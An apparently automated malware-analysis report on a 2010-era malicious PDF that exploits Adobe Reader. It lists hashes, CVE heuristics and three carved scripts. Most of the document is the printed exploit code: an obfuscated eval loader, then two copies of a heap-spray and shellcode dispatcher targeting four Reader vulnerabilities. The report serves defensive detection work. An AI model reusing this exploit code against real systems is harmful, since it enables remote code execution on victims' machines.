Malicious PDF — malware analysis report

Static analysis result for SHA-256 e35db9ac63dcc3bf…

MALICIOUS

PDF

32.9 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 577c38297ab6fff763329ed0fcff3968 SHA-1: 4f372b48e1ace43d9415c4ac10b96b6e61b19bbc SHA-256: e35db9ac63dcc3bfbcf8fe9be452df8ae6f3843a91216242c505aab6589d5d35
448 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7F5F 830 bytes
SHA-256: 104d0359ad4ec75aa72c48d71f45805c783dc3f32ed31915e8b6adc7c9c39406
Preview script
First 1,000 lines of the extracted script
qna = (function(){return this;}).call(null);
xe = new Date();
var juwj='';
var kas = 'e'+(parseInt(xe.getFullYear())-1)+'a'+juwj+'l';
ex=qna[kas.replace('2009','v')];
function noiw(){
	var wyx='',lmgc=[];
	var juwj='';
	ex('va'+juwj+'r qjzr=th'+juwj+'i'+juwj+'s');
	ex('va'+juwj+'r ssuw=Str'+juwj+'ing.f'+juwj+'romC'+juwj+'harCode');
	var bfz='prod' + xe.getFullYear()+'er';
	var kfk = qjzr[bfz.replace('2010','uc')];
	var bnki = '' + xe.getFullYear() + juwj + 'i'+juwj+'t';
	var nwoz = 's' + bnki.replace('2010','pl');
	var ngqn='2010';
	ngqn = ngqn.replace(xe.getFullYear(),'');
	ex('va'+ngqn+'r n' + juwj + 'r=[' + kfk + ngqn + ']');
	var vr = nr;
	ik='le'+juwj+'ng'+juwj+'th';
	var snh = vr[ik] / 2;
	for (var kcj = 0; kcj < snh; kcj++) {
		wyx += ssuw(vr[kcj+snh] - vr[kcj]);
	}
	return wyx;
	}
	var gotd=noiw();
	ex(gotd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3616 bytes
SHA-256: 68fafbadc36aa8487d892bbb00dfaa5136eae4a773413744651ce573d2eaec43
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var tnyb='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9534%ue2aa%uc3fa%ue5e8%uffff%u7cff%u9499%u9595%u14cb%uc979%u9594%u1c95%u1872%u85da%ufa18%ua4c1%uc24e%uc6c4%uc6c6%uc6c6%uc6c6%uc6c0%ufdc6%u9491%u9595%uc3c0%ufdc6%ufbfa%u9595%ue0fd%uf9e7%uc1f8%u1bfd%u9bdb%u7d79%u95dd%u9595%u7dc5%u95e9%u9595%u456a%u5116%ufd9d%u7ada%u90da%u7dc5%u95f9%u9595%u456a%u5510%u82e0%uc1ff%u66cc%ufd3f%u6be7%u8326%u887d%u9595%uc595%uc47d%u9595%u6a95%uc645%u6bff%u1cfd%u94fa%u7d28%u959d%u9595%u7dc5%u95a9%u9595%u456a%ua4f5%uf155%uc51e%u1ea5%u99c7%uc71e%u1e81%ubde7%u8d2c%u9595%ua495%ua46a%u3955%uf4a9%u97e9%ub5b9%u5a54%u9498%u7752%u1465%uce6a%udf29%u1eff%u85d7%u871e%u4ce0%ud11c%u89b1%u56f4%u1ef5%ub1f9%u1eb1%ua9d0%uc11e%ued90%u7f94%udf1e%u1e8d%ub5cf%u7e94%ua176%u1edc%u1ea1%u7b94%u6aa4%u55a4%u3969%u5511%u92e1%u5a54%u9498%u7e52%uae61%ub1e9%ue0bd%u1e74%ub1cf%u7e94%u1ef3%ude99%ucf1e%u9489%u1e7e%u1e91%u7d94%ud11c%u89b1%u57f4%u959d%u7a7d%u6a6b%ufd6a%ue1e1%uafe5%ubaba%ue2f2%ua6a6%uf6bb%ubbef%uf6f6%uf1ba%ue5bb%ue5fd%uf3aa%ua0a8%ub3a5%ua8f0%u95a6';function vp(gy,dre){while(gy.length*2<dre){gy+=gy;}
gy=gy.substring(0,dre/2);return gy;}
function oeyf(){var xukl=new Array();var awud=0x0c0c0c0c;var addr=0x400000;var payload=unescape(tnyb);var sc_len=payload.length*2;var dre=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=vp(yarsp,dre);var count2=(awud-0x400000)/addr;for(var count=0;count<count2;count++){xukl[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(tnyb);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(tnyb);var hWq500CN=payload.length*2;var dre=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=vp(yarsp,dre);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){oeyf();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(tnyb);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3612 bytes
SHA-256: f25bba0bc0e656763225f0a3139fa2a6550dd28b84e7fc14e82bb0d684165eae
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var tnyb='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9534%ue2aa%uc3fa%ue5e8%uffff%u7cff%u9499%u9595%u14cb%uc979%u9594%u1c95%u1872%u85da%ufa18%ua4c1%uc24e%uc6c4%uc6c6%uc6c6%uc6c6%uc6c0%ufdc6%u9491%u9595%uc3c0%ufdc6%ufbfa%u9595%ue0fd%uf9e7%uc1f8%u1bfd%u9bdb%u7d79%u95dd%u9595%u7dc5%u95e9%u9595%u456a%u5116%ufd9d%u7ada%u90da%u7dc5%u95f9%u9595%u456a%u5510%u82e0%uc1ff%u66cc%ufd3f%u6be7%u8326%u887d%u9595%uc595%uc47d%u9595%u6a95%uc645%u6bff%u1cfd%u94fa%u7d28%u959d%u9595%u7dc5%u95a9%u9595%u456a%ua4f5%uf155%uc51e%u1ea5%u99c7%uc71e%u1e81%ubde7%u8d2c%u9595%ua495%ua46a%u3955%uf4a9%u97e9%ub5b9%u5a54%u9498%u7752%u1465%uce6a%udf29%u1eff%u85d7%u871e%u4ce0%ud11c%u89b1%u56f4%u1ef5%ub1f9%u1eb1%ua9d0%uc11e%ued90%u7f94%udf1e%u1e8d%ub5cf%u7e94%ua176%u1edc%u1ea1%u7b94%u6aa4%u55a4%u3969%u5511%u92e1%u5a54%u9498%u7e52%uae61%ub1e9%ue0bd%u1e74%ub1cf%u7e94%u1ef3%ude99%ucf1e%u9489%u1e7e%u1e91%u7d94%ud11c%u89b1%u57f4%u959d%u7a7d%u6a6b%ufd6a%ue1e1%uafe5%ubaba%ue2f2%ua6a6%uf6bb%ubbef%uf6f6%uf1ba%ue5bb%ue5fd%uf3aa%ua0a8%ub3a5%ua8f0%u95a6';function vp(gy,dre){while(gy.length*2<dre){gy+=gy;}
gy=gy.substring(0,dre/2);return gy;}
function oeyf(){var xukl=new Array();var awud=0x0c0c0c0c;var addr=0x400000;var payload=unescape(tnyb);var sc_len=payload.length*2;var dre=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=vp(yarsp,dre);var count2=(awud-0x400000)/addr;for(var count=0;count<count2;count++){xukl[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(tnyb);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(tnyb);var hWq500CN=payload.length*2;var dre=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=vp(yarsp,dre);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){oeyf();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(tnyb);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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